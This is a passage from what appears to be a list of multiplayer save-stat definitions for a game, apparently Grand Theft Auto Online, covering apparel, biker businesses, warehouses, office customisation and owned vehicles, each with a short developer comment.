MP1_ // Number of DCTL games played + +(int)VIP_NEW_MESSAGE_ICON // Add MP0_ or MP1_ // we can icon or new message next to the new VIP works and Challenges until they are played + +(u64)MP_PLAYING_TIME_NEW // Total Playing time in multiplayer. + +(int)DLC_APPAREL_ACQUIRED_78 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_79 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_80 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_81 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_82 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_83 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_84 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_85 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_78 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_79 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_80 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_81 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_82 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_83 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_84 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_85 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)SHOPFM_PERS_GAR // Add MP0_ or MP1_ // Bug 2864148 +(int)MPPLY_LAST_PROF_RACE_WON // time of when the player last won a professional race. +(int)RACE_OUTFIT_CURRENT // Add MP0_ or MP1_ // players chosen race outfit index +(int)EX_HHUNT_CD // Add MP0_ or MP1_ // Local Player is able to run Piracy Prevention multiple times within 1 hour with no cool down. +(int)EX_FREIGHT_CD // Add MP0_ or MP1_ // Local Player is able to run Piracy Prevention multiple times within 1 hour with no cool down. +(int)EX_FGOODS_CD // Add MP0_ or MP1_ // Local Player is able to run Piracy Prevention multiple times within 1 hour with no cool down. +(int)MPPLY_CURR_STNT_SERIES_HASH // Stunt Series Flow - Can we get a new block of help text we can turn on for when we add additional races to the Stunt Series +(int)BIKERSTOREDPVBIKE // Add MP0_ or MP1_ // Stores current PV +(int)BIK_JOUST_CD // Add MP0_ or MP1_ // BIK_JOUST_CD +(int)FM_ACT_PH7 // Add MP0_ or MP1_ // Freemode activity phonecall + +(u64)IE_GARAGE_VEHICLE_0 // Add MP0_ or MP1_ // Server authoritative stats for IE Garage display vehicles. +(u64)IE_GARAGE_VEHICLE_1 // Add MP0_ or MP1_ // Server authoritative stats for IE Garage display vehicles. +(u64)IE_GARAGE_VEHICLE_2 // Add MP0_ or MP1_ // Server authoritative stats for IE Garage display vehicles. +(u64)IE_GARAGE_VEHICLE_3 // Add MP0_ or MP1_ // Server authoritative stats for IE Garage display vehicles. +(int)IE_OWNED_VEHICLE_0 // Add MP0_ or MP1_ // Server authoritative stats for IE Garage owned vehicles. +(int)IE_OWNED_VEHICLE_1 // Add MP0_ or MP1_ // Server authoritative stats for IE Garage owned vehicles. +(int)IE_OWNED_VEHICLE_2 // Add MP0_ or MP1_ // Server authoritative stats for IE Garage owned vehicles. +(int)IE_OWNED_VEHICLE_3 // Add MP0_ or MP1_ // Server authoritative stats for IE Garage owned vehicles. +(int)IE_OWNED_VEHICLE_4 // Add MP0_ or MP1_ // Server authoritative stats for IE Garage owned vehicles. +(int)CLBHOS_FONT // Add MP0_ or MP1_ // Office customisation +(int)CLBHOS_COLOUR // Add MP0_ or MP1_ // Office customisation +(int)CLBHOS_SIGNAGE // Add MP0_ or MP1_ // Office customisation +(int)CLBHOS_GUNLOCKER // Add MP0_ or MP1_ // Office customisation +(int)CLBHOS_GARAGE // Add MP0_ or MP1_ // Office customisation +(string)MC_GANG_NAME // Add MP0_ or MP1_ // Org Names +(string)MC_GANG_NAME2 // Add MP0_ or MP1_ // Org Names +(int)PROP_CLBHOSE_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_CLBHOSE_NAME_ID // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)CLBHOS_WALL // Add MP0_ or MP1_ // Office customisation +(int)CLBHOS_HANGING // Add MP0_ or MP1_ // Office customisation +(int)CLBHOS_FURNATURE // Add MP0_ or MP1_ // Office customisation +(int)CLBHOS_EMBLEM // Add MP0_ or MP1_ // Office customisation +(int)CLBHOS_SINAGEHIDE // Add MP0_ or MP1_ // Office customisation +(int)FACTORYSLOT0 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYSLOT1 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYSLOT2 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYSLOT3 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYSLOT4 // Add MP0_ or MP1_ // Office customisation +(int)PRODTOTALFORFACTORY0 // Add MP0_ or MP1_ // Office customisation +(int)PRODTOTALFORFACTORY1 // Add MP0_ or MP1_ // Office customisation +(int)PRODTOTALFORFACTORY2 // Add MP0_ or MP1_ // Office customisation +(int)PRODTOTALFORFACTORY3 // Add MP0_ or MP1_ // Office customisation +(int)PRODTOTALFORFACTORY4 // Add MP0_ or MP1_ // Office customisation +(int)MATTOTALFORFACTORY0 // Add MP0_ or MP1_ // Office customisation +(int)MATTOTALFORFACTORY1 // Add MP0_ or MP1_ // Office customisation +(int)MATTOTALFORFACTORY2 // Add MP0_ or MP1_ // Office customisation +(int)MATTOTALFORFACTORY3 // Add MP0_ or MP1_ // Office customisation +(int)MATTOTALFORFACTORY4 // Add MP0_ or MP1_ // Office customisation +(packed)DLCBIKEPSTAT_BOOL0 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(packed)DLCBIKEPSTAT_BOOL1 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(string)MC_CLBHOSE_NAME // Add MP0_ or MP1_ // MC Clubhouse Name +(string)MC_CLBHOSE_NAME2 // Add MP0_ or MP1_ // MC Clubhouse Name +(int)FACTORYUPGRADES0 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES1 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES2 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES3 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES4 // Add MP0_ or MP1_ // Office customisation +(bool)MC_SHOW_JOB_POINTS // Add MP0_ or MP1_ // Hide job option +(int)BIK_FORM_HEALTH_COUN // Add MP0_ or MP1_ // Hide job option +(int)BIK_FORM_INTRO_COUN // Add MP0_ or MP1_ // Hide job option +(int)TATTOO_FM_UNLOCKS_22 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_22 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_22 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_UNLOCKS_23 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_23 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_23 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_UNLOCKS_24 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_24 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_24 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_UNLOCKS_25 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_25 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_25 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)PAYRESUPPLYTIMER0 // Add MP0_ or MP1_ // Timers for factory laptop +(int)PAYRESUPPLYTIMER1 // Add MP0_ or MP1_ // Timers for factory laptop +(int)PAYRESUPPLYTIMER2 // Add MP0_ or MP1_ // Timers for factory laptop +(int)PAYRESUPPLYTIMER3 // Add MP0_ or MP1_ // Timers for factory laptop +(int)PAYRESUPPLYTIMER4 // Add MP0_ or MP1_ // Timers for factory laptop +(int)FACTORYUPGRADES0_1 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES1_1 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES2_1 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES3_1 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES4_1 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES0_2 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES1_2 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES2_2 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES3_2 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYUPGRADES4_2 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYSETUP0 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYSETUP1 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYSETUP2 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYSETUP3 // Add MP0_ or MP1_ // Office customisation +(int)FACTORYSETUP4 // Add MP0_ or MP1_ // Office customisation +(int)MISSIONFORFACTORY0 // Add MP0_ or MP1_ // Office customisation +(int)MISSIONFORFACTORY1 // Add MP0_ or MP1_ // Office customisation +(int)MISSIONFORFACTORY2 // Add MP0_ or MP1_ // Office customisation +(int)MISSIONFORFACTORY3 // Add MP0_ or MP1_ // Office customisation +(int)MISSIONFORFACTORY4 // Add MP0_ or MP1_ // Office customisation + +(int)LIFETIME_BIKER_BUY_COMPLET // Add MP0_ or MP1_ // track lifetime mission progress +(int)LIFETIME_BIKER_BUY_UNDERTA // Add MP0_ or MP1_ // track lifetime mission progress +(int)LIFETIME_BIKER_SELL_COMPLET // Add MP0_ or MP1_ // track lifetime mission progress +(int)LIFETIME_BIKER_SELL_UNDERTA // Add MP0_ or MP1_ // track lifetime mission progress +(int)MPPLY_CURR_ADVE_SERIES_HASH // Stunt Series Flow - Can we get a new block of help text we can turn on for when we add additional races to the Stunt Series + +(int)DLC_APPAREL_ACQUIRED_86 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_87 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_88 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_86 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_87 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_88 // Add MP0_ or MP1_ // Shop ped apparel save data +(bool)MC_TOGGLE_FRIENDLY_FIRE // Add MP0_ or MP1_ // Hide job option +(int)BIK_STAND_CD // Add MP0_ or MP1_ // Cool downs +(int)BIK_CAGED_CD // Add MP0_ or MP1_ // Cool downs +(int)LIFETIME_BKR_SELL_COMPLETBC // Add MP0_ or MP1_ // Sell missions +(int)LIFETIME_BKR_SELL_UNDERTABC // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S1_0 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S1_1 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S1_2 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S1_3 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S1_4 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S2_0 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S2_1 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S2_2 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S2_3 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S2_4 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S3_0 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S3_1 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S3_2 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S3_3 // Add MP0_ or MP1_ // Sell missions +(int)BKR_PROD_STOP_COUT_S3_4 // Add MP0_ or MP1_ // Sell missions + +(int)LFETIME_BIKER_BUY_COMPLET1 // Add MP0_ or MP1_ // track lifetime mission progress slot 1 +(int)LFETIME_BIKER_BUY_UNDERTA1 // Add MP0_ or MP1_ // track lifetime mission progress slot 1 +(int)LFETIME_BIKER_SELL_COMPLET1 // Add MP0_ or MP1_ // track lifetime mission progress slot 1 +(int)LFETIME_BIKER_SELL_UNDERTA1 // Add MP0_ or MP1_ // track lifetime mission progress slot 1 +(int)LFETIME_BIKER_BUY_COMPLET2 // Add MP0_ or MP1_ // track lifetime mission progress slot 2 +(int)LFETIME_BIKER_BUY_UNDERTA2 // Add MP0_ or MP1_ // track lifetime mission progress slot 2 +(int)LFETIME_BIKER_SELL_COMPLET2 // Add MP0_ or MP1_ // track lifetime mission progress slot 2 +(int)LFETIME_BIKER_SELL_UNDERTA2 // Add MP0_ or MP1_ // track lifetime mission progress slot 2 +(int)LFETIME_BIKER_BUY_COMPLET3 // Add MP0_ or MP1_ // track lifetime mission progress slot 3 +(int)LFETIME_BIKER_BUY_UNDERTA3 // Add MP0_ or MP1_ // track lifetime mission progress slot 3 +(int)LFETIME_BIKER_SELL_COMPLET3 // Add MP0_ or MP1_ // track lifetime mission progress slot 3 +(int)LFETIME_BIKER_SELL_UNDERTA3 // Add MP0_ or MP1_ // track lifetime mission progress slot 3 +(int)LFETIME_BIKER_BUY_COMPLET4 // Add MP0_ or MP1_ // track lifetime mission progress slot 4 +(int)LFETIME_BIKER_BUY_UNDERTA4 // Add MP0_ or MP1_ // track lifetime mission progress slot 4 +(int)LFETIME_BIKER_SELL_COMPLET4 // Add MP0_ or MP1_ // track lifetime mission progress slot 4 +(int)LFETIME_BIKER_SELL_UNDERTA4 // Add MP0_ or MP1_ // track lifetime mission progress slot 4 +(int)LIFETIME_BKR_SEL_COMPLETBC1 // Add MP0_ or MP1_ // Sell missions slot 1 +(int)LIFETIME_BKR_SEL_UNDERTABC1 // Add MP0_ or MP1_ // Sell missions slot 1 +(int)LIFETIME_BKR_SEL_COMPLETBC2 // Add MP0_ or MP1_ // Sell missions slot 2 +(int)LIFETIME_BKR_SEL_UNDERTABC2 // Add MP0_ or MP1_ // Sell missions slot 2 +(int)LIFETIME_BKR_SEL_COMPLETBC3 // Add MP0_ or MP1_ // Sell missions slot 3 +(int)LIFETIME_BKR_SEL_UNDERTABC3 // Add MP0_ or MP1_ // Sell missions slot 3 +(int)LIFETIME_BKR_SEL_COMPLETBC4 // Add MP0_ or MP1_ // Sell missions slot 4 +(int)LIFETIME_BKR_SEL_UNDERTABC4 // Add MP0_ or MP1_ // Sell missions slot 4 +(int)LIFETIME_BKR_SELL_EARNINGS0 // Add MP0_ or MP1_ // Lifetime earnings 0 +(int)LIFETIME_BKR_SELL_EARNINGS1 // Add MP0_ or MP1_ // Lifetime earnings 1 +(int)LIFETIME_BKR_SELL_EARNINGS2 // Add MP0_ or MP1_ // Lifetime earnings 2 +(int)LIFETIME_BKR_SELL_EARNINGS3 // Add MP0_ or MP1_ // Lifetime earnings 3 +(int)LIFETIME_BKR_SELL_EARNINGS4 // Add MP0_ or MP1_ // Lifetime earnings 4 + +(int)BKR_DEFEND_TIMER_SLOT0 // Add MP0_ or MP1_ // Defend mission timer for slot 0 +(int)BKR_DEFEND_TIMER_SLOT1 // Add MP0_ or MP1_ // Defend mission timer for slot 1 +(int)BKR_DEFEND_TIMER_SLOT2 // Add MP0_ or MP1_ // Defend mission timer for slot 2 +(int)BKR_DEFEND_TIMER_SLOT3 // Add MP0_ or MP1_ // Defend mission timer for slot 3 +(int)BKR_DEFEND_TIMER_SLOT4 // Add MP0_ or MP1_ // Defend mission timer for slot 4 +(int)CHAR_CARMODWHEELS_VIEWED_8 // Add MP0_ or MP1_ // MP Char 0 - Car Wheels Viewed Bitset 7 +(int)CHAR_CARMODWHEELS_VIEWED_9 // Add MP0_ or MP1_ // MP Char 0 - Car Wheels Viewed Bitset 7 +(int)FAVOUTFITBIKETIMECURRENT // Add MP0_ or MP1_ // Tracking players fave bike +(int)FAVOUTFITBIKETIME1ALLTIME // Add MP0_ or MP1_ // Tracking players fave bike +(int)FAVOUTFITBIKETYPECURRENT // Add MP0_ or MP1_ // Tracking players fave bike +(int)FAVOUTFITBIKETYPEALLTIME // Add MP0_ or MP1_ // Tracking players fave bike +(int)CRDEADLINE // Add MP0_ or MP1_ // Number of times played deadline +(int)MC_CONTRIBUTION_POINTS // Add MP0_ or MP1_ // mc contributions points +(int)RESTRICT_HELP_MODES // Add MP0_ or MP1_ // Restrict Help Text shown for Adv Series, Featured Adve Mode, Premium Races and Stunt Races +(int)BIKER_RIDE_STYLE // Add MP0_ or MP1_ // Restrict Help Text shown for Adv Series, Featured Adve Mode, Premium Races and Stunt Races +(short)MONEY_SPENT_BIKER_BUSINESS // Add MP0_ or MP1_ // cash spent on biker business +(short)MONEY_EARN_BIKER_BUSINESS // Add MP0_ or MP1_ // cash earned on biker business +(int)BKR_FACTORY_PROD_STOPPED // Add MP0_ or MP1_ // Used to determine if production is active +(int)AT_FLOW_MISSION_PROGRESS // Add MP0_ or MP1_ // i.e. flow process +(int)AT_FLOW_IMPEXP_NUM // Add MP0_ or MP1_ // i.e. flow process +(int)AT_FLOW_BITSET_MISSIONS0 // Add MP0_ or MP1_ // i.e. flow process + +(int)IE_WH_OWNED_VEHICLE_0 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_1 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_2 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_3 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_4 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_5 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_6 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_7 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_8 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_9 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_10 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_11 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_12 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_13 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_14 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_15 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_16 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_17 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_18 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_19 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_20 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_21 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_22 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_23 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_24 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_25 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_26 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_27 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_28 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_29 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_30 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_31 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_32 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_33 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_34 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_35 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_36 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_37 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_38 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_OWNED_VEHICLE_39 // Add MP0_ or MP1_ // Tracks owned vehicles for IE warehouses +(int)IE_WH_DISPLAY_VEH_SLOT // Add MP0_ or MP1_ // Tracks current vehicle display slot for IE warehouses +(int)FM_ACT_PH8 // Add MP0_ or MP1_ // Freemode activity phonecall + + +(int)PROP_OFFICE_GAR1_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_OFFICE_GAR1 // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_OFFICE_GAR1_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 +(int)PROP_OFFICE_GAR2_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_OFFICE_GAR2 // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_OFFICE_GAR2_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 +(int)PROP_OFFICE_GAR3_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_OFFICE_GAR3 // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_OFFICE_GAR3_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 + +(int)PROP_IE_WAREHOUSE_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_IE_WAREHOUSE // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_IE_WAREHOUSE_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 + + + +(int)MPSV_VEHICLE_BS_88 // Add MP0_ or MP1_ // Vehicle_88 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_88 // Add MP0_ or MP1_ // Vehicle_88 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_88 // Add MP0_ or MP1_ // Vehicle_88 premium paid by destroyer of vehicle +(int)MPSV_MODEL_88 // Add MP0_ or MP1_ // Vehicle_88 model enum of vehicle +(int)MPSV_FLAGS_88 // Add MP0_ or MP1_ // Vehicle_88 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_88 // Add MP0_ or MP1_ // Vehicle_88 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_88 // Add MP0_ or MP1_ // Vehicle_88 time vehicle was obtained + +(u64)MPSV_LP0_88 // Add MP0_ or MP1_ // Vehicle_88 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_89 // Add MP0_ or MP1_ // Vehicle_89 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_89 // Add MP0_ or MP1_ // Vehicle_89 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_89 // Add MP0_ or MP1_ // Vehicle_89 premium paid by destroyer of vehicle +(int)MPSV_MODEL_89 // Add MP0_ or MP1_ // Vehicle_89 model enum of vehicle +(int)MPSV_FLAGS_89 // Add MP0_ or MP1_ // Vehicle_89 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_89 // Add MP0_ or MP1_ // Vehicle_89 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_89 // Add MP0_ or MP1_ // Vehicle_89 time vehicle was obtained + +(u64)MPSV_LP0_89 // Add MP0_ or MP1_ // Vehicle_89 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_90 // Add MP0_ or MP1_ // Vehicle_90 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_90 // Add MP0_ or MP1_ // Vehicle_90 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_90 // Add MP0_ or MP1_ // Vehicle_90 premium paid by destroyer of vehicle +(int)MPSV_MODEL_90 // Add MP0_ or MP1_ // Vehicle_90 model enum of vehicle +(int)MPSV_FLAGS_90 // Add MP0_ or MP1_ // Vehicle_90 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_90 // Add MP0_ or MP1_ // Vehicle_90 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_90 // Add MP0_ or MP1_ // Vehicle_90 time vehicle was obtained + +(u64)MPSV_LP0_90 // Add MP0_ or MP1_ // Vehicle_90 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_91 // Add MP0_ or MP1_ // Vehicle_91 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_91 // Add MP0_ or MP1_ // Vehicle_91 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_91 // Add MP0_ or MP1_ // Vehicle_91 premium paid by destroyer of vehicle +(int)MPSV_MODEL_91 // Add MP0_ or MP1_ // Vehicle_91 model enum of vehicle +(int)MPSV_FLAGS_91 // Add MP0_ or MP1_ // Vehicle_91 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_91 // Add MP0_ or MP1_ // Vehicle_91 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_91 // Add MP0_ or MP1_ // Vehicle_91 time vehicle was obtained + +(u64)MPSV_LP0_91 // Add MP0_ or MP1_ // Vehicle_91 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_92 // Add MP0_ or MP1_ // Vehicle_92 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_92 // Add MP0_ or MP1_ // Vehicle_92 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_92 // Add MP0_ or MP1_ // Vehicle_92 premium paid by destroyer of vehicle +(int)MPSV_MODEL_92 // Add MP0_ or MP1_ // Vehicle_92 model enum of vehicle +(int)MPSV_FLAGS_92 // Add MP0_ or MP1_ // Vehicle_92 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_92 // Add MP0_ or MP1_ // Vehicle_92 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_92 // Add MP0_ or MP1_ // Vehicle_92 time vehicle was obtained + +(u64)MPSV_LP0_92 // Add MP0_ or MP1_ // Vehicle_92 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_93 // Add MP0_ or MP1_ // Vehicle_93 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_93 // Add MP0_ or MP1_ // Vehicle_93 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_93 // Add MP0_ or MP1_ // Vehicle_93 premium paid by destroyer of vehicle +(int)MPSV_MODEL_93 // Add MP0_ or MP1_ // Vehicle_93 model enum of vehicle +(int)MPSV_FLAGS_93 // Add MP0_ or MP1_ // Vehicle_93 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_93 // Add MP0_ or MP1_ // Vehicle_93 cost of vehicle when purchased +(int)MPSV_OBTAINED_TIME_93 // Add MP0_ or MP1_ // Vehicle_93 time vehicle was obtained + +(u64)MPSV_LP0_93 // Add MP0_ or MP1_ // Vehicle_93 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_94 // Add MP0_ or MP1_ // Vehicle_94 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_94 // Add MP0_ or MP1_ // Vehicle_94 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_94 // Add MP0_ or MP1_ // Vehicle_94 premium paid by destroyer of vehicle +(int)MPSV_MODEL_94 // Add MP0_ or MP1_ // 